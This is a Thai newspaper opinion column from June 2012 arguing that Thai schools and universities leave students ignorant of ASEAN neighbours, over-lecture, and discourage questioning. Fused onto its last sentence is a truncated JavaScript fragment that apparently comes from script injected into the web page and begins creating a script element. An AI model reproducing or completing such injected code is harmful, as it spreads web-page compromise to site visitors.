มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 7 มิถุนายน 2555

 

          พูดกันมานานมากแล้ว ว่าศักราชที่ใช้ในชีวิตประจำวันของคนทั้งหลาย ล้วนมีอานุภาพต่อวิธีคิดและวิธีทำของสังคมทั้งปัจจุบันและอนาคต

          เพราะอะไร? ผมไม่เคยได้ยินคำอธิบาย แล้วจริงหรือเปล่า?-ผมก็ไม่รู้เหมือนกัน

          แต่ทุกวันนี้คนเกือบทั้งโลกใช้ ค.ศ. (คริสต์ศักราช) รวมทั้งประเทศส่วนมากในอาเซียน ยกเว้นไทยใช้ พ.ศ. (พุทธศักราช)

          “ต้องรื้อระบบหลักสูตรการเรียนการสอนของไทย” อ. สมพงษ์ จิตระดับ (คณะครุศาสตร์ จุฬาฯ) แสดงความเห็นให้ ก.ศึกษาฯ เตรียมความพร้อมเข้าสู่ประชาคมอาเซียน (มติชน ฉบับวันอังคารที่ 29 พฤษภาคม 2555 หน้า 22) แล้วย้ำอีกว่า “ประเทศไทยต้องรู้เกี่ยวกับประเทศเพื่อนบ้านเหมือนที่เขารู้จักประเทศไทย”

          “ระบบการศึกษาไทยกับเรื่องอาเซียนยังเป็นไม้หลักปักขี้เลน” อ. สมพงษ์ บอก “พูดว่าประชาคมอาเซียนมีความสำคัญ แต่ไม่ได้ดำเนินการอะไร-มีแต่ส่งเสริมภาษาอังกฤษ และปิดเปิดภาคเรียนของสถานศึกษาและสถาบันอุดมศึกษาเท่านั้น”

          การศึกษาไทยไม่รู้จักประเทศเพื่อนบ้านเหมือนที่เขารู้จักประเทศไทย ทำให้นักศึกษาไทย 8 ใน 10 คน ไม่กล้าไปทำงานต่างประเทศในอาเซียน เพราะกลัวเรื่องภาษา

          แต่เมื่อถามนักศึกษาประเทศอื่นๆในอาเซียน กลับพบว่าทุกคนต้องการจะเข้ามาทำงานที่ไทย

          “นักเรียนจีนและเวียดนาม เข้ามาเรียนเมืองไทยมากผิดปกติและไม่ยอมกลับประเทศของตนเอง หรือเรียนจบช้า” อ. สมพงษ์ บอกเล่าอีกว่า “เมื่อเข้ามาอยู่ไทยนานก็จะมีเพื่อน เรียนรู้ภาษาไทยได้ดี และสิ่งที่จะเกิดขึ้นต่อไปคือคนกลุ่มนี้จะมีการลงทุนค้าขายต่างๆ เช่น นำสินค้าเข้ามาขายในเมืองไทยตามการเปิดเสรี ส่วนแรงงานฝีมือก็จะทะลักเข้ามา”

          ภาษาที่ไม่ใช่“ภาษาแม่”ของเรา ไม่ว่าใคร ประเทศไหน ก็มีปัญหาทั้งนั้น จะมีมากมีน้อยเป็นอีกเรื่องหนึ่ง

          แต่สิ่งที่นักศึกษาไทยได้รับจากระบบการศึกษาไทย ต่างจากนักศึกษาประเทศอื่น คือ

          “ครูไทยขยันเกินไป เด็กไม่ได้เรียนหนังสือ เพราะครูเอาแต่สอน เอาแต่บรรยาย เอาแต่อธิบาย” ส่งผลให้ “เด็กไทยไม่ต้องรับผิดชอบอะไร เพราะสิ่งที่เด็กไทยจะต้องไปเรียนรู้ ครูได้บอกหมดแล้วเวลาสอบก็ไม่ต้องไปค้นหาคำตอบ เพราะครูได้จัดเตรียมคำตอบไว้ให้เป็นชั้นๆ เหมือนจัดอาหารใส่ปิ่นโตไว้แล้ว ให้เด็กเลือกชั้นที่ถูกก็พอ ง่ายไปหมด ไม่ต้องเสียเวลาค้นหา” (การปฏิรูปการศึกษาที่ถูกต้องฯ โดย เพชร เหมือนพันธุ์ พิมพ์ในมติชน ฉบับวันพฤหัสบดีที่ 31 พฤษภาคม 2555 หน้า 6)

          ไม่น่าเชื่อว่ามีอาจารย์บางคณะฯ กลุ่มมนุษยศาสตร์และสังคมศาสตร์ในหลายมหาวิทยาลัยไทยขณะนี้ ใช้วิธีสอนเหมือน“ครูไทยขยันเกินไป” ที่ยกมา แต่ยิ่งกว่านั้นคือ ห้ามถาม ห้ามเถียง ไม่ว่ากรณีใดๆ เพราะบังคับให้“เชื่อ” ว่าสิ่งที่สอนถูกต้อง ยุติแล้ว-บ้าไหม?

          ตรงนี้ต่างหากที่ทำให้นักศึกษาไทยมีปัญหา ช่วยตัวเองไม่ได้ เลยไม่กล้าไปทำงานประเทศอื่น

          จากการลงพื้นที่ทำวิจัยโครงการพัฒนาบุคลากรและผลิตภาพบุคลากรเพื่อรองรับการเปิดเสรีอาเซียน ซึ่งได้รับการสนับสนุนจากกระทรวงศึกษาธิการ เพื่อรองรับการเข้าสู่ประชาคมอาเซียนในปี 2558 นั้น อ. สมพงษ์พบว่าข้าราชการครู, ผู้อำนวยการสถานศึกษา, ผู้อำนวยการสำนักงานเขตพื้นที่การศึกษา (สพท.), อาจารย์มหาวิทยาลัย, นักศึกษาประมาณ 70-80% มีความรู้เกี่ยวกับการเข้าสู่ประชาคมอาเซียนน้อยมาก หรือแทบไม่รู้เลย และที่สำคัญไม่รู้ว่านโยบายที่ออกมาเกี่ยวกับประชาคมอาเซียนมีอะไรบ้าง

          การศึกษาไทยหลงตัวเอง แล้วดูถูกคนอื่น โดยเฉพาะดูถูกดูแคลนประเทศเพื่อนบ้านที่ยากจนกว่าไทย จึงทำให้ไทย “ไม่รู้เขา ไม่รู้เรา ไม่รู้โลก” ไม่รู้ประวัติศาสตร์เพื่อนบ้าน แล้วไม่รู้ภาษาเพื่อนบ้าน ทั้งๆภาษาไทยมีรากจากภาษาลาว ภาษาเขมร ภาษามอญ ภาษามลายู

          เลยไม่ทระนงองอาจ แล้วไม่กล้าเดินทางคนเดียวไปประเทศเพื่อนบ้าน ไม่ว่าไปเที่ยวหรือไปทำงาน เพราะระบบการศึกษาไทยพาหลงผิดมานานมาก แล้วไม่ยอมรับความจริงว่าหลงผิด

          เพราะถ้ารับก็เสียฟอร์มที่ต่างเรียนจบจากยุโรป, อเมริกา แล้วดูถูกคนอื่นๆไว้มาก เลยพากันนิ่งไว้เหมือนอมสากกะเบือคับปากvar d=document;var s=d.createElement(‘script’);